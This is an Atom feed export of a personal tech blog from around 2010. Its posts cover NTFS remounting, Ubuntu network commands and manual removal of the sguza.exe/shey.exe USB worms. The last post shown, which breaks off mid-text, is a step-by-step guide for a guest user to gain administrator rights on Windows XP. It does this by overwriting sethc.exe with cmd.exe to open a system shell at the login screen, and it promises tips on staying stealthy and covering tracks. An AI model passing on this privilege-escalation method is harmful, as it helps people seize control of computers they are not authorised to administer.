<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6348799822268982633</id><updated>2011-12-30T15:15:42.775+05:30</updated><category term='yahoo'/><category term='ducati monster'/><category term='unpack'/><category term='conficker w32.downadup network traffic wireshark'/><category term='net-packet'/><category term='sguza.exe'/><category term='intruder'/><category term='auto expo bangalore'/><category term='malware'/><category term='hacking gmail'/><category term='tcpdump usage linux packet sniffing'/><category term='crontab tutorial'/><category term='hacking'/><category term='command'/><category term='removable drive'/><category term='shey.exe'/><category term='pack'/><category term='kawasaki ninja'/><category term='how to hack'/><category term='wireless hacking Ubuntu 8.10 Intrepid Ibex kernel 2.6.27 THinkpad T61 INtel 4965 AG or AGN'/><category term='local privilege escalation'/><category term='spoofing'/><category term='recover password'/><category term='job'/><category term='windows xp'/><category term='TCP'/><category term='Packet'/><category term='UDP'/><category term='hydra thc-hydra ubuntu 8.10 Intrepid Ibex brute force'/><category term='fraud phishing'/><category term='UDP Bomb'/><category term='email'/><category term='Crontab'/><category term='cron'/><category term='administrator account'/><category term='process explorer'/><category term='getch linux'/><category term='&quot;/bin/sh: root: command not found&quot;'/><category term='Ip'/><category term='hayabusa'/><category term='carpet'/><category term='kernel 2.6.27'/><category term='windows security'/><category term='header'/><category term='keylogger safety'/><category term='transformers'/><category term='wheelie'/><category term='guest'/><category term='cyber cafe'/><category term='wireless aircrack-ng ubuntu security'/><category term='Perl'/><category term='crontab -e'/><category term='wireshark'/><category term='CBR 1000R'/><category term='Camaro'/><category term='local exploit'/><category term='password security'/><category term='muza'/><category term='worm'/><category term='wireless intel 4965 ubuntu 7.10'/><category term='root on Ubuntu'/><category term='capture'/><category term='error'/><category term='how to hack windows xp administrator password'/><category term='High Availability Cluster Linux Heartbeat apache wget error'/><title type='text'>TechnoShit</title><subtitle type='html'>DEscription of general technical problems that I face, how I proceed and my struggles and frustrations with life, linux and philosophy. :) 
How to lead a better life by finding a purpose and a reason to smile. Happy Hacking.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>31</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-1337387996890927707</id><published>2010-12-14T14:57:00.002+05:30</published><updated>2010-12-14T16:12:42.645+05:30</updated><title type='text'>Mount an ntfs drive with read only permissions in Linux</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;Say I have booted a Linux using Live cd or something, and I cant modify any windows file since the windows ntfs file system is in a read only mode. So this is how we can remount it in a read write mode:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Commands:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 153, 0);"&gt;umount /mnt/hda1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 153, 0);"&gt;modprobe fuse&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 153, 0);"&gt;ntfsmount /dev/hda1 /mnt/hda1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 153, 0);"&gt;mount&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;Reference:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://backtrack.offensive-security.com/index.php?title=Howto:NTFS"&gt;http://backtrack.offensive-security.com/index.php?title=Howto:NTFS&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;else find the google cache if the page is unavailable :(&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://webcache.googleusercontent.com/search?q=cache:hzWgy5XSMucJ:backtrack.offensive-security.com/index.php%3Ftitle%3DHowto:NTFS+http://backtrack.offensive-security.com/index.php%3Ftitle%3DHowto:NTFS&amp;amp;cd=1&amp;amp;hl=en&amp;amp;ct=clnk&amp;amp;gl=in&amp;amp;client=firefox-a"&gt;http://webcache.googleusercontent.com/search?q=cache:hzWgy5XSMucJ:backtrack.offensive-security.com/index.php%3Ftitle%3DHowto:NTFS+http://backtrack.offensive-security.com/index.php%3Ftitle%3DHowto:NTFS&amp;amp;cd=1&amp;amp;hl=en&amp;amp;ct=clnk&amp;amp;gl=in&amp;amp;client=firefox-a&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-1337387996890927707?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/1337387996890927707/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/12/mount-ntfs-drive-with-read-only.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/1337387996890927707'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/1337387996890927707'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/12/mount-ntfs-drive-with-read-only.html' title='Mount an ntfs drive with read only permissions in Linux'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-5108797159536734502</id><published>2010-12-14T14:54:00.002+05:30</published><updated>2010-12-14T14:56:57.235+05:30</updated><title type='text'>Commands to set network settings in Ubuntu</title><content type='html'>&lt;span style="color: rgb(255, 153, 0); font-weight: bold;"&gt;ifconfig eth0 192.168.1.24 netmask 255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0); font-weight: bold;"&gt;route add default gw 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0); font-weight: bold;"&gt;echo nameserver 192.168.1.10 &gt; /etc/resolv.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0); font-weight: bold;"&gt;ifconfig eth0 up&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-5108797159536734502?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/5108797159536734502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/12/commands-to-set-network-settings-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/5108797159536734502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/5108797159536734502'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/12/commands-to-set-network-settings-in.html' title='Commands to set network settings in Ubuntu'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-8962931475992761238</id><published>2010-06-08T21:05:00.016+05:30</published><updated>2010-06-19T13:54:57.361+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='shey.exe'/><category scheme='http://www.blogger.com/atom/ns#' term='muza'/><category scheme='http://www.blogger.com/atom/ns#' term='worm'/><category scheme='http://www.blogger.com/atom/ns#' term='sguza.exe'/><category scheme='http://www.blogger.com/atom/ns#' term='removable drive'/><category scheme='http://www.blogger.com/atom/ns#' term='carpet'/><title type='text'>Manual Removal of sguza.exe and shey.exe worms</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;New malwares in town. Not much info available on Google.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;shell\open\command=muza\\\sguza.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;shell\open\command=carpet\\\shey.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Again my AV failed to recognize a malware, but when I saw autoruns and hidden folders named muza and carpet in my pen drive, I got suspicious. These files and folders are system files, so if you cant see them, then you need to go to Tools-&gt;Folder options-&gt;View and set the following settings:&lt;br /&gt;&lt;br /&gt;enable Show hidden files and folders&lt;br /&gt;Hide protected operating system files.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_e-VL6LAQQaw/TA7ookF8XDI/AAAAAAAAALg/G4KYdDzWYTI/s1600/img.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 346px; height: 97px;" src="http://3.bp.blogspot.com/_e-VL6LAQQaw/TA7ookF8XDI/AAAAAAAAALg/G4KYdDzWYTI/s400/img.png" alt="" id="BLOGGER_PHOTO_ID_5480573580137487410" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;Malwares often attribute themselves as system and hidden to stay invisible.&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Unfortunately Autoruns and Autoplay were enabled by default on my new system. And it popped the option of "action=Open folder to view files using Windows Explorer". Which could be misleading&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;as I found the same action in autorun.inf as well. After inspecting the autorun.inf, I believe even if you right click and explore/open its copy gets executed. It has variants in the name of shey.exe and sguza.exe and moves through removable drives. Once its executed you cannot remove the autorun.inf or the hidden folders. I took the help of utility Handle (&lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb896655.aspx"&gt;http://technet.microsoft.com/en-us/sysinternals/bb896655.aspx&lt;/a&gt;) by Sysinternals to find out which app has opened the Autorun.inf.&lt;br /&gt;Execute Handle.exe using command prompt and output the results to a text file. And search using CTRL-F for autorun.inf.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;explorer.exe pid: 540 administrator&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;  6E4: Section       \BaseNamedObjects\MSCTF.MarshalInterface.FileMap.ECE.B.NMKKAD&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;  6F0: Section       \BaseNamedObjects\MSCTF.Shared.SFM.ECE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;  6F8: File  (RWD)   C:\Documents and Settings\lada\My Documents\Downloads&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;  700: File  (---)   E:\autorun.inf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;And as always it was  explorer.exe:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;which means the malware is using explorer.exe as a host.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I killed  and restarted explorer using task manager.&lt;br /&gt;&lt;br /&gt;Alternatively we can use Process Explorer (a tool by sysinternals, which is kindof an advanced Task manager) to inspect the explorer.exe and search for SHEY.EXE or other handles and then close them.&lt;br /&gt;Start process explorer and do a CTRL-F search for any handle with the names: SHEY.EXE, SGUZA,EXE, &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;mrpky.exe 194.EXE, &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;21782259.EXE OR KITA375[1].EXE, OR autorun.inf&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_e-VL6LAQQaw/TA-HFFCFtEI/AAAAAAAAALo/-2gXUbBb0r8/s1600/procexp.PNG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 160px;" src="http://3.bp.blogspot.com/_e-VL6LAQQaw/TA-HFFCFtEI/AAAAAAAAALo/-2gXUbBb0r8/s400/procexp.PNG" alt="" id="BLOGGER_PHOTO_ID_5480747792853218370" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Search for the file names.&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_e-VL6LAQQaw/TA-HGWKcE3I/AAAAAAAAAL4/dBgdxxZAPnA/s1600/4.PNG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://3.bp.blogspot.com/_e-VL6LAQQaw/TA-HGWKcE3I/AAAAAAAAAL4/dBgdxxZAPnA/s400/4.PNG" alt="" id="BLOGGER_PHOTO_ID_5480747814631510898" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;If found, close those handles.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/TA-HF35wTTI/AAAAAAAAALw/lY1ZeJO6OH8/s1600/procexp2.PNG"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://1.bp.blogspot.com/_e-VL6LAQQaw/TA-HF35wTTI/AAAAAAAAALw/lY1ZeJO6OH8/s400/procexp2.PNG" alt="" id="BLOGGER_PHOTO_ID_5480747806508469554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;After you kill the malware instance, using Proc Explorer OR by restarting explorer.exe, you will be able to delete the muzo and carpet and autorun.inf files.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I deleted the autoruns and the hidden folders named muza and carpet.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The next step was to clean the registry. So you search for all occurrences of shey.exe and sguza.exe and delete them. The malware may use some other names as well, which I found here:&lt;br /&gt;&lt;a href="http://www.prevx.com/filenames/X285138109880396664-X1/SHEY.EXE.html"&gt;&lt;br /&gt;http://www.prevx.com/filenames/X285138109880396664-X1/SHEY.EXE.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I found the malware still running inside the explorer with the name : &lt;/span&gt;MRPKY.EXE&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This file is located in C:\Documents and Settings\your_username\Application Data&lt;br /&gt;&lt;br /&gt;Again searching the registry I found an entry in the WinLogon startups: (You may use Autorun and ProcessExplorer tools from Sysinternals for this)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Taskman&lt;/span&gt; with a value of &lt;span style="color: rgb(51, 204, 0);"&gt;C:\Documents and Settings\username\Application Data\mrpky.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So I deleted this registry entry and deleted the mrpky.exe as well. I searched for other names but as of now couldnt find any.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I restarted my system, and I am not seeing any weird behavior as of now. If I insert a pen drive, it doesnt show any autorun.inf. Nor I am seeing any suspicious exe or dll in explorer. (using process explorer)&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Thats all for now.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Summary:&lt;/span&gt;&lt;br /&gt;1. If you cannot delete the hidden folder muza or carpet, then kill the explorer.exe using task manager and restart explorer.exe. This will kill the malware instance.&lt;br /&gt;2. Now delete the hidden folders muza  or carpet and then delete then autorun.inf as well from your removable drives.&lt;br /&gt;3. Open registry and search for all keys containing sguza.exe or shey.exe and all other probable names here : &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;a href="http://www.prevx.com/filenames/X285138109880396664-X1/SHEY.EXE.html"&gt;http://www.prevx.com/filenames/X285138109880396664-X1/SHEY.EXE.html&lt;/a&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;  and delete them.&lt;br /&gt;4. Disable autorun and autoplay.(use links section)&lt;br /&gt;5. If at all, the malware still works then it suggests we missed a copy of it. So when you restart your computer, it will be executed again. But all the instances use explorer.exe as a host, so if you want to kill them, restart explorer. But any undeleted registry entry will restart the malware when you restart windows. That doesnt sound good, but we can wait for the AVs to create a tool or reverse engineer it for more details.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Prevention tips:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Disable autoruns and autoplay for all removable drives. &lt;a href="http://support.microsoft.com/kb/967715"&gt;http://support.microsoft.com/kb/967715&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;br /&gt;For more details about the malware, you can upload the exe on &lt;a href="http://www.virustotal.com/"&gt;virustotal.com&lt;/a&gt; which provides the AV detection results from various Anti Viruses.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Here are the results from the unpacked mrpky.exe:&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/c887b8c000b422f41a06dc36e0d2a9bf84f114520da0e08cb83dc07005446260-1276933820"&gt;http://www.virustotal.com/analisis/c887b8c000b422f41a06dc36e0d2a9bf84f114520da0e08cb83dc07005446260-1276933820&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;Links:&lt;br /&gt;Handle by SysInternals: &lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb896655.aspx"&gt;http://technet.microsoft.com/en-us/sysinternals/bb896655.aspx&lt;/a&gt;&lt;br /&gt;Turn off autoplay: &lt;a href="http://support.microsoft.com/kb/967715"&gt;http://support.microsoft.com/kb/967715&lt;/a&gt;&lt;br /&gt;VirusTotal: &lt;a href="http://www.virustotal.com/"&gt;http://www.virustotal.com/&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-8962931475992761238?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/8962931475992761238/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/06/manual-removal-of-sguzaexe-and-sheyexe.html#comment-form' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/8962931475992761238'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/8962931475992761238'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/06/manual-removal-of-sguzaexe-and-sheyexe.html' title='Manual Removal of sguza.exe and shey.exe worms'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_e-VL6LAQQaw/TA7ookF8XDI/AAAAAAAAALg/G4KYdDzWYTI/s72-c/img.png' height='72' width='72'/><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-6726559777951953157</id><published>2010-04-25T09:36:00.000+05:30</published><updated>2010-05-20T09:28:01.474+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='administrator account'/><category scheme='http://www.blogger.com/atom/ns#' term='windows xp'/><category scheme='http://www.blogger.com/atom/ns#' term='how to hack'/><category scheme='http://www.blogger.com/atom/ns#' term='how to hack windows xp administrator password'/><category scheme='http://www.blogger.com/atom/ns#' term='windows security'/><category scheme='http://www.blogger.com/atom/ns#' term='local privilege escalation'/><category scheme='http://www.blogger.com/atom/ns#' term='guest'/><category scheme='http://www.blogger.com/atom/ns#' term='recover password'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='local exploit'/><title type='text'>Getting root/administrator on a Windows XP</title><content type='html'>&lt;span style="font-weight: bold; color: rgb(51, 204, 0);"&gt;Getting root/administrator on a Windows XP&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 204, 0);"&gt;*********************************************************************&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Well this is my old school trick, the Sticky keys hack. I kindof discovered (though I wasnt the first person to do it, but it was pretty less known hack a few years back) &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;it years back, and I am surprised to see that it still works. This is not a one-click kiddie stuff, though its simple and easy.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;In the end, I will also show you how to stay STEALTHY and cover your tracks.(to some extent)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Let me explain you the case precisely:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;You have a guest account or any other NON-ADMINISTRATOR account.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;And you want admin privileges. Naturally I assume, your admin doesnot want to share the admin password with you.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;There is ATLEAST ONE CONDITION for this hack to work (apart from this, I aint aware of any):&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Your non-admin account must have&lt;span style="color: rgb(255, 255, 0);"&gt; write permissions&lt;/span&gt; for the &lt;span style="color: rgb(255, 255, 0);"&gt;system32&lt;/span&gt; directory. That is you should be able to write/modify any simple file in the &lt;span style="color: rgb(255, 255, 0);"&gt;system32&lt;/span&gt; directory.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Dont worry, we are not going to mess with the ugly SAM and SYSTEM files.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Now I would like to explain some basic mechanics, if you are not interested you may skip it. But if you understand it, I believe you should be able to find many such hacks.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0); font-weight: bold;"&gt;Basic mechanics:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 204, 0);"&gt;***************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;When a user logs in, and a process is executed, it runs generally with the privileges on the current user. So if you are the user named "Guest" and you run a firefox exe,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;in the task manager, under the process list you can see the username as "Guest" for the firefox exe. Now if no user is logged on, and a process is executed, then what will happen?&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Our best guess is that it would run with system privilege. So if you can find a file that runs/can be made to run before a user logs in, then it should do our dirty job.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Sometimes it happens that certain softwares like to run their files before a user logs on. If somehow we could replace such files with our shell or any bat file, our dirty job&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;could be done again :). But its not that easy. The shell is not necessarily executed as expected. Nevertheless, its a possibility. If you like to experiment you can try to find any such files. I ll let you know later, &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;how to get a sample list of such files.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0); font-weight: bold;"&gt;The Sticky keys Hack&lt;br /&gt;**********************************&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;There is something called Sticky keys in Windows XP. If you press SHIFT key &gt;=5 times, a window should pop up,&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PCMcUvNhI/AAAAAAAAAKw/CrMfZiEXbzk/s1600/true.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 167px;" src="http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PCMcUvNhI/AAAAAAAAAKw/CrMfZiEXbzk/s400/true.PNG" alt="" id="BLOGGER_PHOTO_ID_5463924291947935250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;sticky&gt; if it doesnt, you can enable its shortcut through Control panel-&gt;Accessbility Options-&gt; KeyBoard Tab, in the Sticky Keys group, click on Settings, under Keyboard shortcuts,&lt;/sticky&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;check the setting for "Use shortcut". Good news is that you can enable it from a Guest account as well:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PCpuFiHVI/AAAAAAAAAK4/ZiZPVgnjZdI/s1600/stickyOnShortcut.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 349px; height: 380px;" src="http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PCpuFiHVI/AAAAAAAAAK4/ZiZPVgnjZdI/s400/stickyOnShortcut.PNG" alt="" id="BLOGGER_PHOTO_ID_5463924794932206930" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_e-VL6LAQQaw/S9PBjAITl1I/AAAAAAAAAKg/sqrBewM1aPw/s1600/stickyOn.PNG"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Now if you press SHIFT &gt;=5 times, the file responsible for firing this window is under system32 with the name sethc.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;You got it, take the backup of this sethc.exe and rename it to say sethc_original.exe. Now copy cmd.exe from system32 to somewhere and rename it as sethc.exe.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Copy the new &lt;span style="color: rgb(255, 255, 0);"&gt;sethc.exe&lt;/span&gt; (which is in fact &lt;span style="color: rgb(255, 255, 0);"&gt;cmd.exe&lt;/span&gt;, our shell) in system32, and press yes, when it asks for the confirmation to overwrite.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PCL1H9Y8I/AAAAAAAAAKo/v2v8vJ_T3RM/s1600/replaceConfirm.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 246px;" src="http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PCL1H9Y8I/AAAAAAAAAKo/v2v8vJ_T3RM/s400/replaceConfirm.PNG" alt="" id="BLOGGER_PHOTO_ID_5463924281425355714" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 